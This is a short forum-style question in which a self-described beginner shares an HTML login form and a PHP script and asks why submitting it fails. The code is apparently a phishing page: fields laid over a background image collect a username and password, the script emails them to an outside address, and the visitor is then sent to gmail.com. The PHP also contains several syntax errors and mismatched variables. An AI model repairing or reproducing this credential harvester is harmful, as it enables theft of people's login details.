I'm a beginner and I'm assigning tasks to myself. I built a HTML page in which I added a form. It looks like this:
<body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">
<form action="send.php" method="post">
<input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
<input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
<input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22> </a></div>
</form>
And the php file 'send.php':
<?php
if(isset($_POST['submit'])){
$to = "salut@bagaiacimailu.com"; // <mail-ul nostru
$user_name = $_POST['username'];
$password = $_POST['password'];
$subject = "You got mail!";
$message = $username . " " . $password . ";
mail($to,$subject,$message,$headers);
}
header (Location: "www.gmail.com");
?>
I get error when the submit button is pressed on my HTML.